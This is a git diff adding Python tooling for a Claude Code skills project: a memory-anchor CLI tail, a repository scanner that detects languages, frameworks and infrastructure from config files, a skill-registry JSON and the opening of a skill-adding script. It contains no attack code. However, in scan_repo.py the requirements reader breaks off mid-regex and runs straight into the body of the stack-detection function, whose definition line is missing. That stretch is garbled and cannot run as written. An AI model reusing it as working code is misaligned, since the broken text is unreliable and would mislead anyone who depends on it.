+    return MemoryAnchorFile(memory_path=str(memory_path), refs=tuple(refs))
+
+
+def _iter_memory_files(memory_root: Path) -> list[Path]:
+    if not memory_root.exists():
+        return []
+    return sorted(memory_root.rglob("*.md"))
+
+
+# ── Report ─────────────────────────────────────────────────────────────────
+
+
+def build_report(repo_root: Path,
+                 memory_root: Path = DEFAULT_MEMORY_ROOT,
+                 now: float | None = None) -> AnchorReport:
+    files = tuple(
+        scan_memory_file(mf, repo_root)
+        for mf in _iter_memory_files(memory_root)
+    )
+    return AnchorReport(
+        generated_at=now if now is not None else time.time(),
+        repo_root=str(repo_root),
+        memory_root=str(memory_root),
+        files=files,
+    )
+
+
+def format_dashboard(report: AnchorReport) -> str:
+    total = len(report.all_refs)
+    header = (
+        f"[memory-anchor] {len(report.files)} memory files   "
+        f"refs={total}  live={report.live_count}  "
+        f"dead={report.dead_count}"
+    )
+    lines = [header]
+    dead_files = [f for f in report.files if f.dead]
+    if not dead_files:
+        lines.append("All references resolve.")
+        return "\n".join(lines)
+    lines.append("")
+    lines.append("Dead references:")
+    for f in dead_files:
+        lines.append(f"  {f.memory_path}")
+        for ref in f.dead:
+            if ref.line is not None:
+                lines.append(f"    - `{ref.raw}` (path={ref.path}, "
+                             f"line={ref.line})")
+            else:
+                lines.append(f"    - `{ref.raw}`")
+    return "\n".join(lines)
+
+
+# ── Repo-root detection ────────────────────────────────────────────────────
+
+
+def _detect_repo_root(start: Path) -> Path:
+    cur = start.resolve()
+    for parent in (cur, *cur.parents):
+        if (parent / ".git").exists():
+            return parent
+    return cur
+
+
+# ── CLI ────────────────────────────────────────────────────────────────────
+
+
+def _build_cli_report(args: argparse.Namespace) -> AnchorReport:
+    repo_root = Path(args.repo_root).resolve() if args.repo_root \
+        else _detect_repo_root(Path.cwd())
+    memory_root = Path(args.memory_root).expanduser() if args.memory_root \
+        else DEFAULT_MEMORY_ROOT
+    return build_report(repo_root=repo_root, memory_root=memory_root)
+
+
+def cmd_scan(args: argparse.Namespace) -> int:
+    print(json.dumps(_build_cli_report(args).to_dict(), indent=2))
+    return 0
+
+
+def cmd_dashboard(args: argparse.Namespace) -> int:
+    print(format_dashboard(_build_cli_report(args)))
+    return 0
+
+
+def cmd_check(args: argparse.Namespace) -> int:
+    report = _build_cli_report(args)
+    print(format_dashboard(report))
+    if args.strict and report.has_dead:
+        return 2
+    return 0
+
+
+def build_parser() -> argparse.ArgumentParser:
+    p = argparse.ArgumentParser(prog="memory_anchor")
+    sub = p.add_subparsers(dest="cmd", required=True)
+
+    def _add_common(sp: argparse.ArgumentParser) -> None:
+        sp.add_argument("--repo-root", default=None,
+                        help="Repository root (default: auto-detect from cwd)")
+        sp.add_argument("--memory-root", default=None,
+                        help="Memory directory "
+                             "(default: ~/.claude/projects)")
+
+    sp = sub.add_parser("scan", help="Emit a JSON anchor report")
+    _add_common(sp)
+    sp.set_defaults(func=cmd_scan)
+
+    sp = sub.add_parser("dashboard", help="Pretty dashboard to stdout")
+    _add_common(sp)
+    sp.set_defaults(func=cmd_dashboard)
+
+    sp = sub.add_parser("check",
+                        help="Dashboard + nonzero exit on dead refs in --strict")
+    _add_common(sp)
+    sp.add_argument("--strict", action="store_true")
+    sp.set_defaults(func=cmd_check)
+
+    return p
+
+
+def main(argv: Sequence[str] | None = None) -> int:
+    args = build_parser().parse_args(list(argv) if argv is not None else None)
+    return args.func(args)
+
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/src/scan_repo.py b/src/scan_repo.py
new file mode 100644
index 0000000000000000000000000000000000000000..3b653743de7010356d3feeef21d991b0551e5dd6
--- /dev/null
+++ b/src/scan_repo.py
@@ -0,0 +1,688 @@
+#!/usr/bin/env python3
+"""
+scan_repo.py -- Analyze a repository and produce a stack profile JSON.
+
+Usage:
+    python scan_repo.py --repo /path/to/repo --output /tmp/stack-profile.json
+
+The scanner reads directory structure and config files to detect:
+- Languages, frameworks, infrastructure, data stores, testing, AI tooling,
+  build systems, and documentation tools.
+
+It avoids reading source files unless needed to disambiguate (e.g., checking
+imports in an entry file to distinguish React from Preact).
+"""
+
+import argparse
+import json
+import os
+import re
+import sys
+import tomllib
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any
+
+# Directories to always skip
+SKIP_DIRS = {
+    "node_modules", ".git", "__pycache__", "venv", ".venv", "env",
+    ".env", "dist", "build", ".next", ".nuxt", ".cache", ".tox",
+    "target", "vendor", ".terraform", ".serverless", "coverage",
+    ".mypy_cache", ".pytest_cache", ".ruff_cache", "egg-info",
+}
+
+# Max depth for directory scanning
+MAX_DEPTH = 3
+
+
+def scan_directory(repo_path: str, max_depth: int = MAX_DEPTH) -> dict:
+    """Walk the repo and collect file/dir signals without reading contents."""
+    signals: dict[str, list[Any]] = {
+        "files": [],        # (relative_path, extension)
+        "dirs": [],         # relative directory paths
+        "config_files": [], # config files found (will be read)
+    }
+
+    repo = Path(repo_path).resolve()
+    config_names = {
+        "package.json", "pyproject.toml", "requirements.txt", "Pipfile",
+        "Cargo.toml", "go.mod", "Gemfile", "composer.json", "pom.xml",
+        "build.gradle", "build.gradle.kts",
+        "Dockerfile", "docker-compose.yml", "docker-compose.yaml",
+        "tsconfig.json", "next.config.js", "next.config.mjs", "next.config.ts",
+        "nuxt.config.ts", "nuxt.config.js", "angular.json", "svelte.config.js",
+        "vite.config.ts", "vite.config.js", "webpack.config.js",
+        "tailwind.config.js", "tailwind.config.ts",
+        "jest.config.js", "jest.config.ts", "vitest.config.ts",
+        "pytest.ini", "setup.cfg", "tox.ini",
+        "mkdocs.yml", ".gitlab-ci.yml", "Jenkinsfile",
+        "turbo.json", "nx.json", "lerna.json", "pnpm-workspace.yaml",
+        "fly.toml", "vercel.json", "netlify.toml", "render.yaml",
+        "serverless.yml", "cdk.json", "Pulumi.yaml",
+        "mcp.json", "CLAUDE.md", ".cursorrules", ".windsurfrules",
+        "alembic.ini", "dbt_project.yml",
+        "openapi.yaml", "openapi.json", "swagger.yaml", "swagger.json",
+        ".coveragerc", "playwright.config.ts", "cypress.config.ts",
+        "poetry.lock", "yarn.lock", "pnpm-lock.yaml", "package-lock.json",
+        "Cargo.lock", "Gemfile.lock", "go.sum", "composer.lock",
+    }
+
+    # Hidden dirs that DO carry signal — must be walked. ``.github``
+    # holds GitHub Actions workflows, ``.devcontainer`` holds container
+    # configs, ``.vscode``/``.idea`` hold IDE integration. Without this
+    # allowlist the default ``startswith(".")`` filter drops every one
+    # of them and the corresponding stack detection silently no-ops.
+    SIGNAL_HIDDEN_DIRS = {".github", ".devcontainer", ".vscode", ".idea"}
+
+    for dirpath, dirnames, filenames in os.walk(repo):
+        rel_dir = os.path.relpath(dirpath, repo)
+        depth = 0 if rel_dir == "." else rel_dir.count(os.sep) + 1
+
+        # Skip ignored dirs. Hidden dirs are dropped EXCEPT the
+        # allowlisted signal-bearing ones (.github etc.).
+        dirnames[:] = [
+            d for d in dirnames
+            if d not in SKIP_DIRS
+            and (not d.startswith(".") or d in SIGNAL_HIDDEN_DIRS)
+        ]
+
+        if depth > max_depth:
+            dirnames.clear()
+            continue
+
+        signals["dirs"].append(rel_dir)
+
+        for fname in filenames:
+            ext = Path(fname).suffix.lower()
+            rel_path = os.path.join(rel_dir, fname) if rel_dir != "." else fname
+            signals["files"].append((rel_path, ext))
+
+            if fname in config_names or fname.endswith(".tf"):
+                signals["config_files"].append(
+                    os.path.join(dirpath, fname)
+                )
+
+    return signals
+
+
+def read_json_safe(path: str) -> dict | None:
+    """Read a JSON file, return None on failure."""
+    try:
+        with open(path) as f:
+            return json.load(f)
+    except Exception as exc:
+        print(f"Warning: failed to read JSON file {path}: {exc}", file=sys.stderr)
+        return None
+
+
+def read_toml_deps(path: str) -> list[str]:
+    """Extract dependency names from pyproject.toml.
+
+    Covers PEP 621 ``[project].dependencies`` / ``optional-dependencies`` and
+    Poetry-style ``[tool.poetry].dependencies`` / ``dev-dependencies``. Version
+    specifiers and extras are stripped via PEP 508 splitting.
+    """
+    try:
+        with open(path, "rb") as f:
+            data = tomllib.load(f)
+    except Exception as exc:
+        print(f"Warning: failed to read TOML deps from {path}: {exc}", file=sys.stderr)
+        return []
+
+    raw: list[str] = []
+
+    project = data.get("project", {})
+    if isinstance(project, dict):
+        deps = project.get("dependencies", [])
+        if isinstance(deps, list):
+            raw.extend(d for d in deps if isinstance(d, str))
+        opt = project.get("optional-dependencies", {})
+        if isinstance(opt, dict):
+            for group in opt.values():
+                if isinstance(group, list):
+                    raw.extend(d for d in group if isinstance(d, str))
+
+    poetry = data.get("tool", {}).get("poetry", {}) if isinstance(data.get("tool"), dict) else {}
+    if isinstance(poetry, dict):
+        for key in ("dependencies", "dev-dependencies"):
+            deps = poetry.get(key, {})
+            if isinstance(deps, dict):
+                raw.extend(k for k in deps.keys() if isinstance(k, str) and k.lower() != "python")
+
+    # PEP 508: strip ``[extras]``, version specifiers, and environment markers.
+    names: list[str] = []
+    for spec in raw:
+        name = re.split(r"[\s\[><=!~;,]", spec, 1)[0].strip()
+        if name:
+            names.append(name.lower())
+    return names
+
+
+def read_requirements(path: str) -> list[str]:
+    """Extract package names from requirements.txt."""
+    try:
+        with open(path) as f:
+            lines = f.readlines()
+        deps = []
+        for line in lines:
+            line = line.strip()
+            if line and not line.startswith("#") and not line.startswith("-"):
+                name = re.split(r"[>= dict:
+    """Analyze signals and produce a stack profile."""
+    profile: dict[str, Any] = {
+        "repo_path": os.path.abspath(repo_path),
+        "scanned_at": datetime.now(timezone.utc).isoformat(),
+        "languages": [],
+        "frameworks": [],
+        "infrastructure": [],
+        "data_stores": [],
+        "testing": [],
+        "ai_tooling": [],
+        "build_system": [],
+        "docs": [],
+        "project_type": "unknown",
+        "monorepo": False,
+        "workspace_packages": [],
+        "custom_signals": {},
+    }
+
+    # Count extensions
+    ext_counts: dict[str, int] = {}
+    for _, ext in signals["files"]:
+        if ext:
+            ext_counts[ext] = ext_counts.get(ext, 0) + 1
+
+    config_basenames = {os.path.basename(p) for p in signals["config_files"]}
+    dir_basenames = {os.path.basename(d) for d in signals["dirs"]}
+
+    # Collect all deps from Python and JS configs
+    all_py_deps: list[str] = []
+    all_js_deps: list[str] = []
+    pkg_json = None
+
+    for cfg in signals["config_files"]:
+        base = os.path.basename(cfg)
+        if base == "pyproject.toml":
+            all_py_deps.extend(read_toml_deps(cfg))
+        elif base == "requirements.txt":
+            all_py_deps.extend(read_requirements(cfg))
+        elif base == "Pipfile":
+            all_py_deps.extend(read_requirements(cfg))
+        elif base == "package.json":
+            data = read_json_safe(cfg)
+            if data:
+                pkg_json = data
+                for section in ("dependencies", "devDependencies", "peerDependencies"):
+                    if section in data:
+                        all_js_deps.extend(k.lower() for k in data[section])
+
+    py_dep_set = set(all_py_deps)
+    js_dep_set = set(all_js_deps)
+
+    # --- LANGUAGES ---
+    lang_map = {
+        ".py": "python", ".ts": "typescript", ".tsx": "typescript",
+        ".js": "javascript", ".jsx": "javascript",
+        ".rs": "rust", ".go": "go", ".java": "java", ".kt": "kotlin",
+        ".rb": "ruby", ".swift": "swift", ".cs": "csharp", ".php": "php",
+    }
+    detected_langs: dict[str, int] = {}
+    for ext, count in ext_counts.items():
+        if ext in lang_map:
+            lang = lang_map[ext]
+            detected_langs[lang] = detected_langs.get(lang, 0) + count
+
+    for lang, count in sorted(detected_langs.items(), key=lambda x: -x[1]):
+        evidence = [f"{count} files with matching extensions"]
+        conf = 0.8
+        # Boost for lock files
+        lock_signals = {
+            "python": ["poetry.lock", "Pipfile", "pyproject.toml", "requirements.txt"],
+            "typescript": ["tsconfig.json"],
+            "javascript": ["package.json"],
+            "rust": ["Cargo.toml", "Cargo.lock"],
+            "go": ["go.mod", "go.sum"],
+            "ruby": ["Gemfile", "Gemfile.lock"],
+        }
+        for lf in lock_signals.get(lang, []):
+            if lf in config_basenames:
+                evidence.append(lf)
+                conf = min(conf + 0.1, 1.0)
+
+        profile["languages"].append({
+            "name": lang, "confidence": round(conf, 2), "evidence": evidence
+        })
+
+    # --- FRAMEWORKS (check deps) ---
+    fw_checks = [
+        # (dep_set, dep_name, stack_id, category, confidence)
+        (py_dep_set, "fastapi", "fastapi", "web", 0.99),
+        (py_dep_set, "django", "django", "web", 0.99),
+        (py_dep_set, "flask", "flask", "web", 0.95),
+        (py_dep_set, "torch", "pytorch", "ml", 0.95),
+        (py_dep_set, "pytorch", "pytorch", "ml", 0.95),
+        (py_dep_set, "tensorflow", "tensorflow", "ml", 0.95),
+        (py_dep_set, "transformers", "huggingface", "ml", 0.9),
+        (py_dep_set, "langchain", "langchain", "ai", 0.95),
+        (py_dep_set, "langchain-core", "langchain", "ai", 0.95),
+        (py_dep_set, "llama-index", "llamaindex", "ai", 0.95),
+        (py_dep_set, "crewai", "crewai", "ai", 0.95),
+        (py_dep_set, "dspy-ai", "dspy", "ai", 0.95),
+        (py_dep_set, "openai", "openai-sdk", "ai", 0.8),
+        (py_dep_set, "anthropic", "anthropic-sdk", "ai", 0.8),
+        # Fintech / payments
+        (py_dep_set, "stripe", "stripe", "payments", 0.99),
+        (py_dep_set, "paypalrestsdk", "paypal", "payments", 0.95),
+        (py_dep_set, "paypal-sdk", "paypal", "payments", 0.95),
+        (py_dep_set, "plaid-python", "plaid", "payments", 0.95),
+        (js_dep_set, "stripe", "stripe", "payments", 0.99),
+        (js_dep_set, "@stripe/stripe-js", "stripe", "payments", 0.99),
+        # Validation / schemas (often paired with FastAPI)
+        (py_dep_set, "pydantic", "pydantic", "web", 0.85),
+        (js_dep_set, "zod", "zod", "web", 0.85),
+        (js_dep_set, "yup", "yup", "web", 0.8),
+        (js_dep_set, "react", "react", "web", 0.9),
+        (js_dep_set, "vue", "vue", "web", 0.9),
+        (js_dep_set, "next", "nextjs", "web", 0.95),
+        (js_dep_set, "@angular/core", "angular", "web", 0.95),
+        (js_dep_set, "svelte", "svelte", "web", 0.95),
+        (js_dep_set, "express", "express", "web", 0.95),
+        (js_dep_set, "fastify", "fastify", "web", 0.95),
+        (js_dep_set, "@nestjs/core", "nestjs", "web", 0.95),
+    ]
+    for dep_set, dep_name, stack_id, category, conf in fw_checks:
+        if dep_name in dep_set:
+            profile["frameworks"].append({
+                "name": stack_id, "category": category,
+                "confidence": conf, "evidence": [f"{dep_name} in dependencies"]
+            })
+
+    # Config-based framework detection
+    config_fw = {
+        "next.config.js": ("nextjs", "web", 1.0),
+        "next.config.mjs": ("nextjs", "web", 1.0),
+        "next.config.ts": ("nextjs", "web", 1.0),
+        "nuxt.config.ts": ("nuxt", "web", 1.0),
+        "nuxt.config.js": ("nuxt", "web", 1.0),
+        "angular.json": ("angular", "web", 1.0),
+        "svelte.config.js": ("svelte", "web", 1.0),
+    }
+    for cfg_name, (stack_id, cat, conf) in config_fw.items():
+        if cfg_name in config_basenames:
+            # Avoid duplicate if already detected via deps
+            existing = [f for f in profile["frameworks"] if f["name"] == stack_id]
+            if existing:
+                existing[0]["confidence"] = max(existing[0]["confidence"], conf)
+                existing[0]["evidence"].append(cfg_name)
+            else:
+                profile["frameworks"].append({
+                    "name": stack_id, "category": cat,
+                    "confidence": conf, "evidence": [cfg_name]
+                })
+
+    # --- INFRASTRUCTURE ---
+    infra_map = {
+        "Dockerfile": ("docker", 1.0),
+        "docker-compose.yml": ("docker-compose", 1.0),
+        "docker-compose.yaml": ("docker-compose", 1.0),
+        ".gitlab-ci.yml": ("gitlab-ci", 1.0),
+        "Jenkinsfile": ("jenkins", 1.0),
+        "fly.toml": ("fly-io", 1.0),
+        "vercel.json": ("vercel", 1.0),
+        "netlify.toml": ("netlify", 1.0),
+        "render.yaml": ("render", 1.0),
+        "serverless.yml": ("serverless", 1.0),
+        "cdk.json": ("aws-cdk", 1.0),
+        "Pulumi.yaml": ("pulumi", 1.0),
+        "turbo.json": ("turborepo", 1.0),
+        "nx.json": ("nx", 1.0),
+    }
+    for cfg_name, (stack_id, conf) in infra_map.items():
+        if cfg_name in config_basenames:
+            profile["infrastructure"].append({
+                "name": stack_id, "confidence": conf, "evidence": [cfg_name]
+            })
+
+    # GitHub Actions
+    if ".github" in dir_basenames:
+        gh_wf = [d for d in signals["dirs"] if "workflows" in d and ".github" in d]
+        if gh_wf:
+            profile["infrastructure"].append({
+                "name": "github-actions", "confidence": 1.0,
+                "evidence": [".github/workflows/"]
+            })
+
+    # Terraform
+    tf_files = [f for f, ext in signals["files"] if ext == ".tf"]
+    if tf_files:
+        profile["infrastructure"].append({
+            "name": "terraform", "confidence": 1.0,
+            "evidence": [f"{len(tf_files)} .tf files"]
+        })
+
+    # K8s
+    k8s_dirs = {"k8s", "kubernetes", "helm", "charts"}
+    if k8s_dirs & dir_basenames:
+        profile["infrastructure"].append({
+            "name": "kubernetes", "confidence": 0.95,
+            "evidence": [f"directory: {k8s_dirs & dir_basenames}"]
+        })
+
+    # --- DATA STORES ---
+    data_checks = [
+        (py_dep_set, "sqlalchemy", "sqlalchemy", 0.95),
+        (py_dep_set, "alembic", "sqlalchemy", 0.95),
+        (py_dep_set, "redis", "redis", 0.85),
+        (py_dep_set, "celery", "celery", 0.95),
+        (py_dep_set, "kafka-python", "kafka", 0.9),
+        # Postgres explicit — the psycopg family installs as 'psycopg2',
+        # 'psycopg2-binary', or 'psycopg' (3.x). Any of them → postgres.
+        (py_dep_set, "psycopg2", "postgres", 0.95),
+        (py_dep_set, "psycopg2-binary", "postgres", 0.95),
+        (py_dep_set, "psycopg", "postgres", 0.95),
+        (py_dep_set, "asyncpg", "postgres", 0.95),
+        # MongoDB
+        (py_dep_set, "pymongo", "mongodb", 0.95),
+        (py_dep_set, "motor", "mongodb", 0.95),
+        (js_dep_set, "mongodb", "mongodb", 0.95),
+        (js_dep_set, "mongoose", "mongodb", 0.95),
+        # Postgres from JS side
+        (js_dep_set, "pg", "postgres", 0.9),
+        (js_dep_set, "postgres", "postgres", 0.9),
+        (js_dep_set, "prisma", "prisma", 0.95),
+        (js_dep_set, "@prisma/client", "prisma", 0.95),
+        (js_dep_set, "typeorm", "typeorm", 0.95),
+        (js_dep_set, "drizzle-orm", "drizzle", 0.95),
+        (js_dep_set, "sequelize", "sequelize", 0.95),
+        (js_dep_set, "ioredis", "redis", 0.85),
+        (js_dep_set, "redis", "redis", 0.85),
+    ]
+    for dep_set, dep_name, stack_id, conf in data_checks:
+        if dep_name in dep_set:
+            existing = [d for d in profile["data_stores"] if d["name"] == stack_id]
+            if not existing:
+                profile["data_stores"].append({
+                    "name": stack_id, "confidence": conf,
+                    "evidence": [f"{dep_name} in dependencies"]
+                })
+
+    if "alembic" in dir_basenames or "alembic.ini" in config_basenames:
+        existing = [d for d in profile["data_stores"] if d["name"] == "sqlalchemy"]
+        if existing:
+            existing[0]["evidence"].append("alembic/ directory")
+        else:
+            profile["data_stores"].append({
+                "name": "sqlalchemy", "confidence": 0.95,
+                "evidence": ["alembic/ directory"]
+            })
+
+    if "dbt_project.yml" in config_basenames:
+        profile["data_stores"].append({
+            "name": "dbt", "confidence": 1.0, "evidence": ["dbt_project.yml"]
+        })
+
+    # --- TESTING ---
+    test_map = {
+        "pytest.ini": ("pytest", 1.0),
+        "conftest.py": ("pytest", 0.95),
+        "jest.config.js": ("jest", 1.0),
+        "jest.config.ts": ("jest", 1.0),
+        "vitest.config.ts": ("vitest", 1.0),
+        "vitest.config.js": ("vitest", 1.0),
+        "playwright.config.ts": ("playwright", 1.0),
+        "cypress.config.ts": ("cypress", 1.0),
+    }
+    for cfg_name, (stack_id, conf) in test_map.items():
+        if cfg_name in config_basenames:
+            existing = [t for t in profile["testing"] if t["name"] == stack_id]
+            if not existing:
+                profile["testing"].append({
+                    "name": stack_id, "confidence": conf, "evidence": [cfg_name]
+                })
+
+    # Dev-dependency based test-framework detection — catches pytest /
+    # jest / vitest / playwright / cypress declared in pyproject
+    # [tool.pytest.ini_options] / [dependency-groups] / package.json
+    # devDependencies without a dedicated config file on disk.
+    dev_test_checks = [
+        (py_dep_set, "pytest", "pytest", 0.9),
+        (py_dep_set, "pytest-asyncio", "pytest", 0.9),
+        (js_dep_set, "jest", "jest", 0.9),
+        (js_dep_set, "vitest", "vitest", 0.9),
+        (js_dep_set, "@playwright/test", "playwright", 0.9),
+        (js_dep_set, "cypress", "cypress", 0.9),
+    ]
+    for dep_set, dep_name, stack_id, conf in dev_test_checks:
+        if dep_name in dep_set:
+            existing = [t for t in profile["testing"] if t["name"] == stack_id]
+            if not existing:
+                profile["testing"].append({
+                    "name": stack_id, "confidence": conf,
+                    "evidence": [f"{dep_name} in dependencies"],
+                })
+
+    # --- AI TOOLING ---
+    if "mcp.json" in config_basenames or ".mcp" in dir_basenames:
+        profile["ai_tooling"].append({
+            "name": "mcp", "confidence": 1.0,
+            "evidence": ["mcp.json or .mcp/ directory"]
+        })
+    if "CLAUDE.md" in config_basenames:
+        profile["ai_tooling"].append({
+            "name": "claude-code", "confidence": 0.95,
+            "evidence": ["CLAUDE.md"]
+        })
+
+    # --- BUILD SYSTEM ---
+    build_map = {
+        "vite.config.ts": "vite", "vite.config.js": "vite",
+        "webpack.config.js": "webpack",
+    }
+    for cfg_name, stack_id in build_map.items():
+        if cfg_name in config_basenames:
+            profile["build_system"].append({
+                "name": stack_id, "confidence": 1.0, "evidence": [cfg_name]
+            })
+
+    # --- DOCS ---
+    doc_map = {
+        "mkdocs.yml": "mkdocs",
+        "docusaurus.config.js": "docusaurus",
+        "docusaurus.config.ts": "docusaurus",
+    }
+    for cfg_name, stack_id in doc_map.items():
+        if cfg_name in config_basenames:
+            profile["docs"].append({
+                "name": stack_id, "confidence": 1.0, "evidence": [cfg_name]
+            })
+
+    openapi_files = [
+        f for f, _ in signals["files"]
+        if os.path.basename(f) in ("openapi.yaml", "openapi.json", "swagger.yaml", "swagger.json")
+    ]
+    if openapi_files:
+        profile["docs"].append({
+            "name": "openapi", "confidence": 0.95,
+            "evidence": openapi_files[:3]
+        })
+
+    # --- MONOREPO ---
+    monorepo_signals = {"turbo.json", "nx.json", "lerna.json", "pnpm-workspace.yaml"}
+    if monorepo_signals & config_basenames:
+        profile["monorepo"] = True
+    elif pkg_json and "workspaces" in pkg_json:
+        profile["monorepo"] = True
+
+    # --- PROJECT TYPE ---
+    fw_names = {f["name"] for f in profile["frameworks"]}
+    if fw_names & {"react", "vue", "angular", "svelte", "nextjs", "nuxt"}:
+        if fw_names & {"fastapi", "django", "flask", "express", "nestjs"}:
+            profile["project_type"] = "fullstack"
+        else:
+            profile["project_type"] = "frontend"
+    elif fw_names & {"fastapi", "django", "flask", "express", "nestjs", "gin", "actix"}:
+        profile["project_type"] = "api-service"
+    elif fw_names & {"pytorch", "tensorflow", "huggingface"}:
+        profile["project_type"] = "ml-project"
+    elif fw_names & {"langchain", "llamaindex", "crewai"}:
+        profile["project_type"] = "ai-agent"
+    elif profile["infrastructure"]:
+        profile["project_type"] = "infrastructure"
+
+    return profile
+
+
+def _print_recommendations(repo: str, profile: dict) -> None:
+    """Run resolve() and print recommendations by entity bucket.
+
+    Phase 6a UX: previously only programmatic consumers (monitor, hooks)
+    saw the manifest output. Running ``ctx-scan-repo --recommend`` now
+    prints the same entity buckets to the terminal so users see tooling
+    recommendations surface from real repos without opening the dashboard.
+    """
+    # Local imports — these pull in networkx and the full resolver graph
+    # which isn't needed for plain profile scans. Keeps default scan fast.
+    from ctx.core.resolve.resolve_skills import (  # noqa: PLC0415
+        discover_available_skills,
+        read_wiki_overrides,
+        resolve,
+    )
+    from ctx_config import cfg  # noqa: PLC0415
+
+    available = discover_available_skills(str(cfg.skills_dir))
+    overrides = read_wiki_overrides(str(cfg.wiki_dir))
+    manifest = resolve(profile, available, overrides, max_skills=cfg.max_skills)
+
+    print()
+    print("=" * 60)
+    print("Recommended for this repo")
+    print("=" * 60)
+
+    load_entries = manifest.get("load", [])
+    skills = [
+        e for e in load_entries
+        if (e.get("entity_type") or e.get("type") or "skill") == "skill"
+    ]
+    agents = [
+        e for e in load_entries
+        if (e.get("entity_type") or e.get("type")) == "agent"
+    ]
+
+    # Skills section
+    print(f"\n-- Skills ({len(skills)}) --")
+    if skills:
+        for entry in skills[:10]:
+            reason = entry["reason"][:55]
+            print(f"  {entry['skill']:<40s}  {reason}")
+    else:
+        print("  (no skills matched)")
+
+    # Agents section — separate from skills by type
+    print(f"\n-- Agents ({len(agents)}) --")
+    if agents:
+        for entry in agents[:10]:
+            print(f"  {entry['skill']:<40s}  {entry['reason'][:55]}")
+    else:
+        print("  (no agents matched)")
+
+    # MCP servers section — Phase 5 populated this bucket
+    mcp_servers = manifest.get("mcp_servers", [])
+    print(f"\n-- MCP Servers ({len(mcp_servers)}) --")
+    if mcp_servers:
+        for m in mcp_servers[:10]:
+            shared = ",".join(m.get("shared_tags", [])[:2]) or "-"
+            score = float(m.get("score", 0.0) or 0.0)
+            norm = m.get("normalized_score")
+            score_text = f"score={score:.2f}"
+            if isinstance(norm, (int, float)):
+                score_text += f"  norm={norm:.2f}"
+            print(f"  {m['name']:<40s}  {score_text}  via={shared}")
+    else:
+        print("  (no MCP servers matched — try running")
+        print("   `ctx-mcp-fetch --source awesome-mcp --limit 100 | ctx-mcp-add --from-stdin`")
+        print("   to populate the catalog, then rescan)")
+
+    # Harness section - catalog-only recommendations for the model runtime
+    # and verification machinery around the user's agent.
+    harnesses = manifest.get("harnesses", [])
+    print(f"\n-- Harnesses ({len(harnesses)}) --")
+    if harnesses:
+        for h in harnesses[:10]:
+            shared = ",".join(h.get("shared_tags", [])[:2]) or "-"
+            score = float(h.get("score", 0.0) or 0.0)
+            norm = h.get("normalized_score")
+            score_text = f"score={score:.2f}"
+            if isinstance(norm, (int, float)):
+                score_text += f"  norm={norm:.2f}"
+            print(f"  {h['name']:<40s}  {score_text}  via={shared}")
+    else:
+        print("  (no harnesses matched)")
+
+    # Warnings (missing skill installs etc.)
+    if manifest["warnings"]:
+        print(f"\n-- Notes ({len(manifest['warnings'])}) --")
+        for w in manifest["warnings"][:5]:
+            print(f"  {w}")
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Scan a repo and produce a stack profile")
+    parser.add_argument("--repo", required=True, help="Path to the repository")
+    parser.add_argument("--output", default="/tmp/stack-profile.json", help="Output JSON path")
+    parser.add_argument("--depth", type=int, default=MAX_DEPTH, help="Max scan depth")
+    parser.add_argument(
+        "--recommend",
+        action="store_true",
+        help=(
+            "After scanning, run the resolver and print recommended "
+            "skills / agents / MCP servers / harnesses to stderr. Requires an "
+            "existing ~/.claude/skill-wiki graph (run ctx-wiki-graphify "
+            "first). Default: scan only, no recommendations."
+        ),
+    )
+    args = parser.parse_args()
+
+    if not os.path.isdir(args.repo):
+        print(f"Error: {args.repo} is not a directory", file=sys.stderr)
+        sys.exit(1)
+
+    signals = scan_directory(args.repo, max_depth=args.depth)
+    profile = detect_stack(args.repo, signals)
+
+    # Ensure the output parent directory exists — users commonly pass
+    # --output .ctx/stack.json without pre-creating .ctx/. Without this
+    # the open() below raises FileNotFoundError.
+    Path(args.output).parent.mkdir(parents=True, exist_ok=True)
+
+    with open(args.output, "w", encoding="utf-8") as f:
+        json.dump(profile, f, indent=2)
+
+    # Summary to stdout
+    total = (
+        len(profile["languages"]) + len(profile["frameworks"]) +
+        len(profile["infrastructure"]) + len(profile["data_stores"]) +
+        len(profile["testing"]) + len(profile["ai_tooling"]) +
+        len(profile["build_system"]) + len(profile["docs"])
+    )
+    print(f"Scanned {args.repo}: {total} stack elements detected")
+    print(f"Type: {profile['project_type']} | Monorepo: {profile['monorepo']}")
+    print(f"Profile saved to {args.output}")
+
+    if args.recommend:
+        try:
+            _print_recommendations(args.repo, profile)
+        except Exception as exc:  # noqa: BLE001 — recommendation is advisory
+            print(f"\n(recommender failed: {type(exc).__name__}: {exc})", file=sys.stderr)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/skill-registry.json b/src/skill-registry.json
new file mode 100644
index 0000000000000000000000000000000000000000..f5066b9cf053aa678c0dd57bf2822b5cb5b0e9ce
--- /dev/null
+++ b/src/skill-registry.json
@@ -0,0 +1,16 @@
+{
+  "version": "1.0",
+  "skill_dirs": [
+    {
+      "path": "C:\\Users\\solun/.claude/skills",
+      "label": "global-skills",
+      "enabled": true
+    },
+    {
+      "path": "C:\\Users\\solun/.claude/agents",
+      "label": "global-agents",
+      "enabled": true
+    }
+  ],
+  "notes": "Add more repos here. Each entry: {path, label, enabled}"
+}
\ No newline at end of file
diff --git a/src/skill_add.py b/src/skill_add.py
new file mode 100644
index 0000000000000000000000000000000000000000..d51e6c4a3c49dc695cbd76ea3ee8182b7fced957
--- /dev/null
+++ b/src/skill_add.py
@@ -0,0 +1,507 @@
+#!/usr/bin/env python3
+"""
+skill_add.py -- Add new skills with automatic micro-skill conversion and wiki ingestion.
+
+Usage:
+    # Single skill
+    python skill_add.py --skill-path /path/to/SKILL.md --name my-skill \
+        --wiki ~/.claude/skill-wiki --skills-dir ~/.claude/skills
+
+    # Batch from directory
+    python skill_add.py --scan-dir /path/to/new-skills/ \
+        --wiki ~/.claude/skill-wiki --skills-dir ~/.claude/skills
+"""
+
+import argparse
+import os
+import re
+import sys
+import yaml  # type: ignore[import-untyped]
+from datetime import datetime, timezone
+from pathlib import Path
+
+from batch_convert import convert_skill
+from ctx.core.entity_update import build_update_review, render_update_review
+from ctx_config import cfg
+from intake_pipeline import IntakeRejected, check_intake, record_embedding
+from ctx.adapters.claude_code.install.install_utils import safe_copy_file
+from ctx.core.wiki.wiki_sync import append_log, ensure_wiki, update_index
+from ctx.core.wiki.wiki_utils import validate_skill_name
+
+TODAY = datetime.now(timezone.utc).strftime("%Y-%m-%d")
+
+
+# ── Tag inference ─────────────────────────────────────────────────────────────
+
+def infer_tags(name: str, content: str) -> list[str]:
